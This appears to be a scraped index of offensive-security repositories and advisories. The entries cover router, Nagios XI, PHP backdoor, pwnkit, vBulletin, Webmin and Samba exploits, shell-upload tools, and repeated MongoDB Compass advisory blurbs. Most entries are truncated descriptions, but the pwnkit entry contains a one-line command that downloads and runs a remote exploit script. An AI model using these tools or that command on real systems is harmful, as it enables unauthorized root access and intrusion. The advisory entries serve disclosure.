Privilege-escalation-ASKEY

Privilege-escalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 Privilege escalation vulnerability on ASKEY routers Device: ASKEY RTF3505VW-N1 Firmware: BRSVg000R3505VMN1001s327 not tested in other version CLI Version: ReducedCLIHGUv13 Exploit: ASKEY RTF3505VW-N1 devices are provided with access...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit Overview A vulnerability exists in Nagios XI = 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root. The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins. Details The...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev Backdoor Remote Code Execution PHP 8.1.0-dev Backdoor System Shell Script PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by...

poc-cve-2021-4034

poc-cve-2021-4034 PoC para CVE-2021-4034 denominado pwnkit Cómo usar solo ejecuta make make y luego revisa la carpeta release o si prefieres el comando de una línea sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Disfruta root@kitploit:...

modsecurity-backdoor

ModSecurity Backdoor Description This is a proof-of-concept of malicious software running inside of ModSecurity WAF. Software has two main functions: Retrieving content of files. Running commands and retrieving output remote shell. Additionaly, it includes these functions: Dynamic setting of...

Phpweb-Getshell-py

Phpweb-Getshell-py Phpweb=2.0.35 Usage tutorial, please refer to www.0-sec.org...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit Versiones afectadas: vBulletin 5.0.05.5.4 poc a continuación: !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import...

Wp_Adning_Advertising_Shell_Upload

WpAdningAdvertisingShellUpload python 2.7...

rocket-lms-shell-upload-auto-register

rocket-lms-shell-upload-auto-register Rocket LMS Shell Upload Vulnerability Python 2.7 Buy Coffee : Bitcoin $: 14nXhmRiQx5joCXFTdR8ydm3T8et7MFDXC How To Use? Install Python 2.7 Download Here python file.py Sauce? https://medium.com/@naxtarrr/rocket-lms-shell-upload-vulnerability-c400665702f3...

CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

CVE-2026-96750

MongoDB Compass is vulnerable to a shell script injection because it fails to escape database names when interpolating them into the initial input of its embedded MongoDB shell . If a user opens the shell from a specific database's view, an attacker with privileges to create databases on the conn...

CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

CVE-2026-96750 Shell script injection via server-supplied database name in Open MongoDB shell

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

EUVD-2026-86260

MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database's view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have...

kippo-g0tmi1k

Kippo Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. Original Homepage: https://code.google.com/p/kippo/. Fork This is a personal public fork of Kippo, which includes additional features...

RCE-Exploit-Framework

RCE-Exploit-Framework This framework is designed to assist penetration testers or developers in understanding the mechanics of remote code execution RCE exploitation. Features Payload Generator : Supports the creation of custom payloads based on Python, Bash, and PHP. Exploit Executor : Delivers...

Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 These tools are open source, you can recode them but remember never to delete the author tools, and these tools are free, not for sale!!! Results Shell Depends on Your List !!! Here, Jenderal92 is not responsible for the misuse of tools that cause dama...

Webmin1.910_exploit

Webmin 1.910 Remote Code Execution Exploit Description: This repository contains a Python 3 script designed to exploit a remote code execution vulnerability in Webmin version 1.910. The script utilizes the sessionlogin.cgi endpoint to perform authentication and deploy a reverse shell payload,...

smb-usermap

Samba "username map script" Command Execution This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute...